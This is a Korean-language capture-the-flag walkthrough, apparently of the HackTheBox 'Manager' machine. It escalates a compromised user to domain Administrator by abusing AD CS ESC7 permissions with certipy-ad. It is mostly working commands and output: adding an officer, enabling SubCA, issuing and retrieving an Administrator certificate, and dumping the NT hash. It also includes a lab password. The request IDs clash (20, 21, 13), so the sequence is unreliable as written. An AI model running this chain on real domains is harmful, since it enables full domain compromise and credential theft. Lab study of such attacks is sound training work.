certipy-ad를 통해서 취약한 템플릿을 찾기 위해서 아래와 같이 명령할 수 있습니다.
# 명령어 양식
certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -stdout -vulnerable -enabled
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates : [!] Could not find any certificate templates
스캔 결과 manager-DC01-CA에서 Access Rights > ManageCA 권한이 있는 사용자/그룹 중
탈취한 사용자 계정인 Raven이 포함되어 있는 것을 확인할 수 있습니다.
Raven 사용자는 인증 기관에 대해서 ManageCA 권한이 있기 때문에
스스로에 대해 Issue and Manager Certificates 권한을 할당할 수 있습니다.
# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -add-officer <USER>
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -add-officer raven
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
그 다음으로 SubCA 템플릿을 활성화 해야 합니다.
# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -enable-template subca
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -enable-template subca
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
SubCA 템플릿을 활성화 시켰기 때문에 템플릿 리스트를 출력하면 SubCA가 출력됩니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -list-templates
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Enabled certificate templates on 'manager-DC01-CA':
SubCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
Administrator
활성화된 SubCA 템플릿을 통해 Administrator의 인증서를 생성할 것입니다.
앞서 설정한 것들은 장악한 Raven 계정에게 CA 관리 권한을 할당한 것 뿐
인증서 생성 요청을 했을 때 인증서가 곧바로 생성되지 않습니다.
다만 인증서 생성 요청에서 요청 ID가 발급되고,
Raven 계정에 ManageCA 속성을 Allow로 했기 때문에 Raven 계정을 이용해서
발급된 요청 ID에 대한 인증서 생성 요청을 허가할 수 있습니다.
# 명령어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -template SubCA -upn Administrator@<Domain>
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -template SubCA -upn Administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 20
Would you like to save the private key? (y/N) y
[*] Saved private key to 20.key
[-] Failed to request certificate
# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -issue-request <Request ID>
#실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -issue-request 20
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
Raven 사용자로 인증 요청을 했던 Request ID 20번 요청에 대해서 승인을 했기 때문에
인증서 생성이 완료되었고,
Request ID에 대한 인증서 조회 요청을 하면 성공적으로 Administrator의 pfx 파일이 획득됩니다.
# 명렁어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -retrieve <Request ID>
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -retrieve 21
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 13
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'
[*] Saved certificate and private key to 'administrator.pfx'
덤핑한 도메인 Administrator 계정의 pfx 파일로 NT Hash 출력을 합니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef